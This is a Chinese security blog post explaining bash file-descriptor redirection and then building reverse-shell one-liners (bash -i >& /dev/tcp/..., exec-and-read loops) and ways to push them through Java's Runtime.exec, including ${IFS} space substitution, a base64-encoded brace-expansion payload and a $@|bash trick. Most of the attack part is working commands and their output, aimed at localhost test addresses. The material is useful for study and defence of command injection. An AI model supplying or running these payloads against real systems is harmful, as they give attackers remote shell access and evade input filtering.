

Learning Man's Blog

Learning Man's Blog

Java 反弹 Shell



Java 反弹 Shell

字数统计: 2.7k阅读时长: 13 min

 2020/03/02  Share

• 
• 
• 
• 
• 

重定向

简单记忆:

• >可在&前、后
• <只能在&前

1. 输入重定向

test@test:/tmp$ cat < test_file
Hello World~

2. 输出重定向

test@test:/tmp$ echo 'Hello World~' > test_file 
test@test:/tmp$ cat test_file 
Hello World~

3. 标准输出与标准错误输出重定向

// bash 1
test@test:/tmp$ bash -i &> test

// bash 2
test@test:~$ ls -l /proc/5693/fd
总用量 0
lrwx------ 1 test test 64 2月  27 19:00 0 -> /dev/pts/2
l-wx------ 1 test test 64 2月  27 19:00 1 -> /tmp/test
l-wx------ 1 test test 64 2月  27 19:00 2 -> /tmp/test
lrwx------ 1 test test 64 2月  27 19:00 255 -> /dev/tty

4. 文件描述符的复制

注意：

1. 两种形式都是将 word 复制给 n
2. 在第二种形式>&最后的描述中，如果没有指定n，且word无法解释成整数或-，则此命令会被解释为标准输出与标准错误输出重定向

根据此两点，如果n为数字，则解析为文件描述符复制

---

这里还需要将文件描述符的复制与标准输出与标准错误输出重定向拿出来比较一番，注意下面>&5与&>5的区别

即&是否紧跟数字n，会区分为文件描述符n和文件n

• >&5 -> 将文件描述符5复制给stdout
• &>5 -> 将stdout、stderr重定向到当前目录下名为5的文件

test@test:/tmp$ exec 5<>test_file >&5

test@test:~$ ls -l /proc/14396/fd
总用量 0
lrwx------ 1 test test 64 2月  29 14:16 0 -> /dev/pts/0
lrwx------ 1 test test 64 2月  29 14:16 1 -> /tmp/test_file
lrwx------ 1 test test 64 2月  29 14:16 2 -> /dev/pts/0
lrwx------ 1 test test 64 2月  29 14:16 255 -> /dev/pts/0
lrwx------ 1 test test 64 2月  29 14:16 5 -> /tmp/test_file

---

test@test:/tmp$ exec 5<>test_file &>5

test@test:~$ ls -l /proc/14396/fd
总用量 0
lrwx------ 1 test test 64 2月  29 14:16 0 -> /dev/pts/0
l-wx------ 1 test test 64 2月  29 14:16 1 -> /tmp/5
l-wx------ 1 test test 64 2月  29 14:16 2 -> /tmp/5
lrwx------ 1 test test 64 2月  29 14:16 255 -> /dev/pts/0
lrwx------ 1 test test 64 2月  29 14:16 5 -> /tmp/test_file

5. 打开文件描述符进行读写

当exec命令对文件描述符操作的时候，就不会替换shell，而是操作完成后还会继续执行后面的命令

test@test:/tmp$ 5<>file

test@test:/tmp$ ls -l /proc/29753/fd
总用量 0
lrwx------ 1 test test 64 2月  29 12:04 0 -> /dev/pts/1
lrwx------ 1 test test 64 2月  29 12:04 1 -> /dev/pts/1
lrwx------ 1 test test 64 2月  29 12:04 2 -> /dev/pts/1
lrwx------ 1 test test 64 2月  29 12:04 255 -> /dev/pts/1

---
test@test:/tmp$ exec 5<>test_file

test@test:/tmp$ ls -l /proc/29753/fd
总用量 0
lrwx------ 1 test test 64 2月  29 12:04 0 -> /dev/pts/1
lrwx------ 1 test test 64 2月  29 12:04 1 -> /dev/pts/1
lrwx------ 1 test test 64 2月  29 12:04 2 -> /dev/pts/1
lrwx------ 1 test test 64 2月  29 12:04 255 -> /dev/pts/1
lrwx------ 1 test test 64 2月  29 12:04 5 -> /tmp/test_file

反弹

文件描述符复制

最常见的模式

bash -i >& /dev/tcp/127.0.0.1/12345 0>&1

// 省略非必要空格
bash -i>&/dev/tcp/127.0.0.1/12345 0>&1

文件描述符复制 2

bash -i >& /dev/tcp/127.0.0.1/12345 <&1

// 省略非必要空格
bash -i>&/dev/tcp/127.0.0.1/12345<&1

绑定重定向

exec 5<>/dev/tcp/192.168.146.129/2333;cat <&5|while read line;do $line >&5 2>&1;done

注意为什么最后又加了一个2>&1呢？回头看看描述符复制注意的地方，就清楚了

---

另外下面为什么没看到进程30651的bash中stdout & stderr被重定向情况呢？因为每次do都是通过此bash新开启一个子进程，并在子进程内进行文件描述符的赋值

test@test:~$ exec 5<>/dev/tcp/127.0.0.1/12345;cat <&5|while read line;do $line >&5 2>&1;done

// 29753 执行反弹 shell 命令
test     29753  4841  0 12:04 pts/1    00:00:00 bash
test     30640  4895  0 12:09 pts/2    00:00:00 nc -lvvp 12345
test     30650 29753  0 12:09 pts/1    00:00:00 cat
test     30651 29753  0 12:09 pts/1    00:00:00 bash

// cat
test@test:/tmp$ ls -l /proc/30650/fd
总用量 0
lrwx------ 1 test test 64 2月  29 12:48 0 -> 'socket:[1487308]'
l-wx------ 1 test test 64 2月  29 12:48 1 -> 'pipe:[1487309]'
lrwx------ 1 test test 64 2月  29 12:48 2 -> /dev/pts/1
lrwx------ 1 test test 64 2月  29 12:48 5 -> 'socket:[1487308]'

// bash
test@test:/tmp$ ls -l /proc/30651/fd
总用量 0
lr-x------ 1 test test 64 2月  29 12:48 0 -> 'pipe:[1487309]'
lrwx------ 1 test test 64 2月  29 12:48 1 -> /dev/pts/1
lrwx------ 1 test test 64 2月  29 12:48 2 -> /dev/pts/1
lrwx------ 1 test test 64 2月  29 12:48 255 -> /dev/pts/1
lrwx------ 1 test test 64 2月  29 12:48 5 -> 'socket:[1487308]'

额外的例子

<&996 >&996 2>&996分别对应复制到stdin stdout stderr

0<&996;exec 996<>/dev/tcp/127.0.0.1/12345;sh <&996 >&996 2>&996

// 变形
exec 996<>/dev/tcp/127.0.0.1/123450 <&996 >&996 2>&996

注意：变形的命令在连接端退出会导致此端同时退出，原因如下：

// 0<&996;exec 996<>/dev/tcp/127.0.0.1/12345;sh <&996 >&996 2>&996
test     18999  2516  0 14:44 pts/0    00:00:00 bash

test@test:~$ ls -l /proc/18999/fd
总用量 0
lrwx------ 1 test test 64 2月  29 14:44 0 -> 'socket:[106812]'
lrwx------ 1 test test 64 2月  29 14:44 1 -> 'socket:[106812]'
lrwx------ 1 test test 64 2月  29 14:45 196 -> 'socket:[106812]'
lrwx------ 1 test test 64 2月  29 14:44 2 -> 'socket:[106812]'
lrwx------ 1 test test 64 2月  29 14:44 255 -> /dev/pts/0

---

// exec 996<>/dev/tcp/127.0.0.1/123450 <&996 >&996 2>&996
test     18999  2516  0 14:44 pts/0    00:00:00 bash
test     20566 18999  0 14:53 pts/0    00:00:00 sh

test@test:~$ ls -l /proc/18999/fd
总用量 0
lrwx------ 1 test test 64 2月  29 14:44 0 -> /dev/pts/0
lrwx------ 1 test test 64 2月  29 14:44 1 -> /dev/pts/0
lrwx------ 1 test test 64 2月  29 14:45 196 -> 'socket:[105103]'
lrwx------ 1 test test 64 2月  29 14:44 2 -> /dev/pts/0
lrwx------ 1 test test 64 2月  29 14:44 255 -> /dev/pts/0
test@test:~$ ls -l /proc/20566/fd
总用量 0
lrwx------ 1 test test 64 2月  29 14:53 0 -> 'socket:[105103]'
lrwx------ 1 test test 64 2月  29 14:53 1 -> 'socket:[105103]'
lrwx------ 1 test test 64 2月  29 14:53 196 -> 'socket:[105103]'
lrwx------ 1 test test 64 2月  29 14:53 2 -> 'socket:[105103]'

其他

反弹 in Java

Runtime.getRuntime().exec

exec(new String[])

在此模式解析的关键是java.lang.UNIXProcess#UNIXProcess，在-c模式下，可以看到参数为两个

P.S. 个人认为是因为如>&等参数无法被识别为bash参数，它应属于当前 bash 环境下的操作

1. 直接数组化无法解析，解析参数为 4 个

   
   

2. 数组化 with -c能正确解析，解析参数为 2 个

   
   

exec(new String)

如果我们只传入一个字符串时，会经过 StringTokenizer 分割，注意会识别五个字符

所以我们需要找到一个字符能够绕过分割且能被/bin/bash正确识别为空格

Bypass

${IFS}

一般情况下，$var与${var}并没有啥不一样。但是用${ }会比较精确的界定变量名称的范围

如果直接利用会报错ambiguous redirect(歧义重定向)

# 报错 ambiguous redirect
bash-3.2$ bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/12345${IFS}0>&1
bash: ${IFS}/dev/tcp/127.0.0.1/12345${IFS}0: ambiguous redirect

# 正常
bash-3.2$ bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/12345 0>&1

那么最后一个空格该如何处理呢，我们可以看到，经过>& socks后，stdou stderr 已经被重定向到了 socks 文件，最后一句0>&1就是试图将 stdin 也重定向过去

test@test:~$ bash -i >& /dev/tcp/127.0.0.1/12345

test@test:~$ ls -l /proc/14067/fd
总用量 0
lrwx------ 1 test test 64 2月  27 23:05 0 -> /dev/pts/1
lrwx------ 1 test test 64 2月  27 23:05 1 -> 'socket:[924955]'
lrwx------ 1 test test 64 2月  27 23:05 10 -> /dev/tty
lrwx------ 1 test test 64 2月  27 23:05 2 -> 'socket:[924955]'

注意到文件描述符的复制中[n]<&word格式，我们可以将 socks 文件描述符复制到 stdin 中

bash -i >& /dev/tcp/127.0.0.1/12345 0<&1

# 添加 IFS
bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/12345${IFS}0<&1

同时由于 n 默认为 stdin，那么我们也可以利用此规则不出现 0

bash -i >& /dev/tcp/127.0.0.1/12345 <&1

# 添加 IFS
bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/12345${IFS}<&1

甚至省略最后的空格，以及非必要的空格

bash -i >& /dev/tcp/127.0.0.1/12345<&1

# 添加 IFS
bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/12345<&1

# 省略非必要空格+IFS 测试
test@test:~$ bash${IFS}-i>&/dev/tcp/127.0.0.1/12345<&1

test@test:~$ ls -l /proc/14556/fd
总用量 0
lrwx------ 1 test test 64 2月  27 23:08 0 -> 'socket:[928815]'
lrwx------ 1 test test 64 2月  27 23:08 1 -> 'socket:[928815]'
lrwx------ 1 test test 64 2月  27 23:08 2 -> 'socket:[928815]'
lrwx------ 1 test test 64 2月  27 23:08 255 -> /dev/tty

bash Brace Expansion

花括号扩展，详细见参考资料 3

test@test:~$ echo hello{'world','linux'},
helloworld, hellolinux,
test@test:~$ echo hello{1..5},
hello1, hello2, hello3, hello4, hello5,

test@test:~$ bash -c "{echo,YmFzaCAtaT4mL2Rldi90Y3AvMTI3LjAuMC4xLzEyMzQ1PCYxCg==}|{base64,-d}|{bash,-i}"

Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaT4mL2Rldi90Y3AvMTI3LjAuMC4xLzEyMzQ1PCYxCg==}|{base64,-d}|{bash,-i}");

$@ $*

细节及区别详见：Shell特殊变量

参数处理	说明
$*	以一个单字符串显示所有向脚本传递的参数。 如$*用"括起来的情况、以$1 $2 … $n的形式输出所有参数。
$@	与$*相同，但是使用时加引号，并在引号中返回每个参数。 如$@用"括起来的情况、以"$1" "$2" … "$n"的形式输出所有参数。

以下内容来自

那么我们就可以利用来反弹shell了。看bash语法：

bash [options] [command_string | file]
-c   If the -c option is present, then commands are read from the first non-option argument command_string.If there are arguments after the command_string, they are assigned to the positional parameters, starting with $0.

结合bash和$@，我们可以变为：

/bin/sh -c '$@|sh' xxx  echo ls

可以成功地执行ls。分析下这个命令，当bash解析到'$@|sh' xxx echo ls，发现$@。$@需要取脚本的参数，那么就会解析xxx echo ls，由于$@只会取脚本参数，会将第一个参数认为是脚本名称(认为xxx是脚本名称)，就会取到echo ls。那么最终执行的就是echo ls|sh，就可以成功地执行ls命令了。

利用上面这个trick，那么我们就可以执行任意命令了，包括反弹shell。如/bin/bash -c '$@|bash' 0 echo 'bash -i >&/dev/tcp/ip/port 0>&1'最终可以成功地反弹shell

Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/127.0.0.1/8888 0>&1");

Runtime.getRuntime().exec("/bin/bash -c $*|bash 0 echo bash -i >&/dev/tcp/127.0.0.1/8888 0>&1");

最终相当于执行了echo 'bash -i >&/dev/tcp/127.0.0.1/8888 0>&1'|bash命令，成功反弹shell

参考资料

1. Linux反弹shell（一）文件描述符与重定向
2. Linux 反弹shell（二）反弹shell的本质
3. linux下形如{command,parameter,parameter}执行命令 / bash花括号扩展
4. 绕过exec获取反弹shell

原文作者：Sariel.D

原文链接：https://blog.sari3l.com/posts/91ba290f/

发表日期：March 2nd 2020, 10:47:18 pm

更新日期：July 6th 2020, 5:45:18 pm

版权声明：本文采用知识共享署名-非商业性使用 4.0 国际许可协议进行许可

• Next Post
  CVE-2020-2555 简单分析
• Previous Post
  Thinkphp 5.0.x 反序列化简析

Powered by Hexotheme Archer

CATALOG

1. 1. 重定向
   1. 1.1. 1. 输入重定向
   2. 1.2. 2. 输出重定向
   3. 1.3. 3. 标准输出与标准错误输出重定向
   4. 1.4. 4. 文件描述符的复制
   5. 1.5. 5. 打开文件描述符进行读写
2. 2. 反弹
   1. 2.1. 文件描述符复制
   2. 2.2. 文件描述符复制 2
   3. 2.3. 绑定重定向
      1. 2.3.1. 额外的例子
   4. 2.4. 其他
3. 3. 反弹 in Java
   1. 3.1. Runtime.getRuntime().exec
      1. 3.1.1. exec(new String[])
      2. 3.1.2. exec(new String)
4. 4. Bypass
   1. 4.1. ${IFS}
   2. 4.2. bash Brace Expansion
   3. 4.3. $@ $*
5. 5. 参考资料

• Archive
• Tag
• Cate

Total : 78

2022

• 06/08 Confluence CVE-2022-26134 解析

2021

• 12/30 CodeQL 学习小记 Log4j
• 12/27 CodeQL 学习小记
• 12/14 Log4shell 小记

2020

• 09/15 深信服 SSL VPN Nday - Pre Auth 任意密码重置
• 09/15 深信服 SSL VPN Nday - Pre Auth 修改绑定手机
• 09/12 深信服 SSL VPN Nday - RCE
• 08/26 深信服 SSL VPN Nday - Pre Auth
• 08/23 Shiro-055 分析&回显
• 08/18 深信服 EDR RCE 简析
• 08/04 CobaltStrike Argue 原理 - 翻译文
• 08/02 Github Page 加速
• 07/31 CobaltStrike 破解步骤
• 07/13 一道题回顾智能合约 Coverage
• 07/06 F5 BIG-IP RCE简单分析
• 06/17 用友NC反序列化 简单分析
• 06/14 Pwnable.kr 之 Toddler's Bottle
• 04/01 Weblogic T3 协议学习
• 03/20 CVE-2020-2551 简单分析
• 03/12 CVE-2020-2555 简单分析
• 03/02 Java 反弹 Shell
• 02/26 Thinkphp 5.0.x 反序列化简析
• 02/22 CVE-2020-1938（Ghost Cat）简单分析
• 01/17 JDBC Deserialization
• 01/16 Abusing MySQL clients RCE
• 01/01 2020 All is New

2019

• 12/25 对 Cookie 的一点学习
• 12/18 HTTP Smuggling Attack 随笔
• 12/10 ThinkPHP 6.0.x 反序列化简析
• 12/07 ThinkPHP 5.1.x 反序列化简析
• 10/31 记
• 09/12 Mysql 注入基础小结
• 09/03 XSS with ServiceWorkers
• 08/23 CSP 小结
• 08/07 SVG with HTML Parsing
• 08/06 Fastjson 新反序列化漏洞解析
• 07/16 SSRF 小结
• 07/13 Discuz! ML 3.x 命令执行简析
• 07/10 Redis Rce 简析
• 07/02 Sqlmap --os-shell 原理简析
• 06/15 Active Directory Recon 初步学习
• 05/21 RCTF 2019 WEB writeup
• 05/09 Jenkins CVE-2018-1000861 学习
• 05/07 *CTF 2019 homebrewEvtLoop
• 04/27 Web(CTF)中的密码学 (一)
• 04/19 Abusing MySQL Clients 学习
• 04/12 DDCTF 2019 部分 writeup
• 03/30 0CTF/TCTF 2019 WEB writeup
• 03/18 JSONP Content-Type 简单Fuzz
• 03/10 JNDI/LADP 学习
• 03/07 Fastjson 反序列化漏洞研究
• 03/06 SMTP 25 端口测试记录
• 02/06 pyppeteer 学习记录
• 01/31 Python 多线程、多进程、协程(未完结)
• 01/29 Frida —— WeChat(二) 🧧
• 01/25 动态调试 with smali
• 01/24 Nexus 解决显示 “无法访问互联网”
• 01/19 Frida —— WeChat(一) 🎲
• 01/16 Frida —— 初体验
• 01/01 关系爬虫 —— Weibo
• 01/01 2019 All For One

2018

• 12/30 OpenCV 初接触
• 12/24 验证码破解系列 —— 数美
• 12/21 Chrome Extensions —— fir.im Downloader 编写
• 12/19 XXE 小结
• 12/14 Burp Extensions —— RSA Plugin 编写
• 12/01 CODE BREAKING
• 11/23 Hello World
• 11/08 OGNL Payload
• 11/06 s2-016 漏洞分析
• 11/02 s2-032 漏洞分析
• 10/31 s2-033 & s2-037 漏洞分析
• 10/26 s2-045 漏洞分析
• 10/17 s2-046 漏洞分析
• 10/16 s2-048 漏洞分析
• 10/11 s2-048 漏洞分析
• 10/09 s2-053 漏洞分析
• 10/08 s2-057 漏洞分析

 Mysql  RCE  ctf  writeup  随笔  内网  RedTeam  代码审计  PHP  Burp suite  coding  extension  Weblogic  Deserialize  Tomcat  LFI  Chrome  cobaltstirke  Discuz  CodeQL  F5  CVE-2020-5902  漏洞分析  fastjson  Frida  java  jenkins  SQLi  struts  Redis  SSRF  ThinkPHP  XXE  xss  OpenCV  spider  smali  智能合约  深信服  Nday  hw2020  CAPTCHA  pwn



缺失模块，请参考主题文档进行安装配置：https://github.com/fi3ework/hexo-theme-archer#%E5%AE%89%E8%A3%85%E4%B8%BB%E9%A2%98

 代码审计  编程  Pentest  渗透  逆向  其他  验证码

